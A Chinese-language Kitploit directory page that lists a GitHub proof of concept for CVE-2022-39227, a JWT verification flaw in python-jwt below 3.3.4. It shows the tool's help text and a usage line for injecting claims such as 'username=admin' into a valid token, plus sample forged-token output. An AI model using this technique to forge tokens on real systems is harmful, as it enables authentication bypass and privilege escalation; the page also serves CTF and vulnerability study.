Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-39227 — CVE-2022-39227 : 概念验证 | Kitploit
工具/GitHubGitHub/user0x1337/cve-2022-39227
Payload生成漏洞分析漏洞利用Web安全CTF身份验证
GitHubuser0x1337/cve-2022-39227

CVE-2022-39227

CVE-2022-39227 : 概念验证

查看仓库
22122年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-39227

CVE-2022-39227 : 概念验证

此 CVE-2022-39227 的概念验证代码。根据该CVE,JSON Web Token验证存在缺陷。可以通过有效的令牌,利用其签名与修改后的声明一起使用。

所需条件:

  1. 一个有效的JSON Web Token。
  2. 后端使用的是版本低于 3.3.4 的 Python 库 "python-jwt"。

为了方便使用,我在一次CTF中编写了一个简单的PoC:

root@kitploit:~
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

用法:

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

返回:

root@kitploit:~
{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}

返回值是JSON和紧凑表示法的混合形式。你需要将整个值(包括"{"和"}")粘贴作为你的新JWT Web令牌。

下载工具